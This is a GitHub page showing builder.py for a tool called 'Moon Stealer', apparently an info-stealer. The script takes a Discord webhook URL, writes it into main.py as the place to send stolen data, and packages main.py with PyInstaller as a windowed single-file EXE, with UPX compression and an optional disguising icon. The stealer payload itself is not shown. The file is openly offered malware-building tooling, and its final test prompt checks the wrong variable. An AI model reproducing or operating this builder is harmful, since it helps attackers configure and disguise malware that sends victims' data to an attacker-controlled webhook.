-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathbuilder.py
103 lines (87 loc) · 6.49 KB
/
builder.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pystyle import *
from colorama import *
from tkinter import filedialog, Tk
import os
import time
import fade
import ctypes
username = os.getlogin()
ctypes.windll.kernel32.SetConsoleTitleW(f" Moon Stealer - {username}")
os.system("cls")
text = """
███╗ ███╗ ██████╗ ██████╗ ███╗ ██╗ ███████╗████████╗███████╗ █████╗ ██╗ ███████╗██████╗
████╗ ████║██╔═══██╗██╔═══██╗████╗ ██║ ██╔════╝╚══██╔══╝██╔════╝██╔══██╗██║ ██╔════╝██╔══██╗
██╔████╔██║██║ ██║██║ ██║██╔██╗ ██║ ███████╗ ██║ █████╗ ███████║██║ █████╗ ██████╔╝
██║╚██╔╝██║██║ ██║██║ ██║██║╚██╗██║ ╚════██║ ██║ ██╔══╝ ██╔══██║██║ ██╔══╝ ██╔══██╗
██║ ╚═╝ ██║╚██████╔╝╚██████╔╝██║ ╚████║ ███████║ ██║ ███████╗██║ ██║███████╗███████╗██║ ██║
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝ ╚══════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═╝
Press [ENTER] to continue
"""
Anime.Fade(Center.Center(text), Colors.green_to_blue, Colorate.Vertical, interval=0.050, enter=True)
text2 = """
███╗ ███╗ ██████╗ ██████╗ ███╗ ██╗ ███████╗████████╗███████╗ █████╗ ██╗ ███████╗██████╗
████╗ ████║██╔═══██╗██╔═══██╗████╗ ██║ ██╔════╝╚══██╔══╝██╔════╝██╔══██╗██║ ██╔════╝██╔══██╗
██╔████╔██║██║ ██║██║ ██║██╔██╗ ██║ ███████╗ ██║ █████╗ ███████║██║ █████╗ ██████╔╝
██║╚██╔╝██║██║ ██║██║ ██║██║╚██╗██║ ╚════██║ ██║ ██╔══╝ ██╔══██║██║ ██╔══╝ ██╔══██╗
██║ ╚═╝ ██║╚██████╔╝╚██████╔╝██║ ╚████║ ███████║ ██║ ███████╗██║ ██║███████╗███████╗██║ ██║
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝ ╚══════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═╝
"""
text2 = fade.greenblue(text2)
print(text2)
time.sleep(1.5)
def endHandler():
os._exit(0)
def checkhook(webhook):
if not "api/webhooks" in webhook:
print(f"\n{Fore.RED}Invalid webhook{Fore.RESET}")
time.sleep(1)
endHandler()
webhook = input(Fore.CYAN + "\nEnter your Discord webhook URL: " + Style.RESET_ALL)
checkhook(webhook)
filename = "main.py"
filepath = os.path.join(os.getcwd(), filename)
with open(filepath, "r", encoding="utf-8") as f:
content = f.read()
new_content = content.replace('"YOUR_WEBHOOK_URL"', f'"{webhook}"')
with open(filepath, "w", encoding="utf-8") as f:
f.write(new_content)
time.sleep(1)
print(Fore.GREEN + "Webhook successfully changed" + Style.RESET_ALL)
time.sleep(2)
os.system("cls")
print(text2)
icon_file = None # Initialize icon_file with None
answer = input(Fore.CYAN + "\nDo you want to build EXE file? (Y/N) " + Style.RESET_ALL)
if answer.upper() == "Y":
time.sleep(1)
answer = input(Fore.CYAN + "\nDo you want to add icon? (Y/N) " + Style.RESET_ALL)
if answer.upper() == "Y":
print(Fore.YELLOW + "Build process has been started please wait..." + Style.RESET_ALL)
Tk().withdraw()
icon_file = filedialog.askopenfilename(filetypes=[("Icon Files", "*.ico")])
if icon_file and icon_file.endswith('.ico'):
os.system(f"pyinstaller --noconfirm --onefile --windowed --upx-dir=./MoonStealer_assets/upx --icon {icon_file} {filename}")
print(f"\n{Fore.GREEN}{filename} has been converted to EXE with the selected icon.{Fore.RESET}")
else:
print(Fore.YELLOW + "Reminder: File you choose must be have .ico extension!" + Style.RESET_ALL)
os.system (f"pyinstaller --noconfirm --onefile --windowed --upx-dir=./MoonStealer_assets/upx {filename}")
print(f"\n{Fore.GREEN}File successfully builded{Fore.RESET}")
time.sleep(2)
os.system("cls")
print(text2)
elif answer.upper() == "N":
time.sleep(2)
os.system("cls")
print(text2)
run = input(Fore.CYAN + "\nDo you want to test the build? (Y/N) " + Style.RESET_ALL)
if answer.upper() == "Y":
os.system (f"{filename}")
time.sleep(1)
os.system("cls")
print(text2)
print(f"\n{Fore.GREEN}Build process has been done successfully!{Fore.RESET}")
time.sleep(3)
elif answer.upper() == "N":
print(f"\n{Fore.GREEN}Build process has been done successfully!{Fore.RESET}")
time.sleep(3)
endHandler()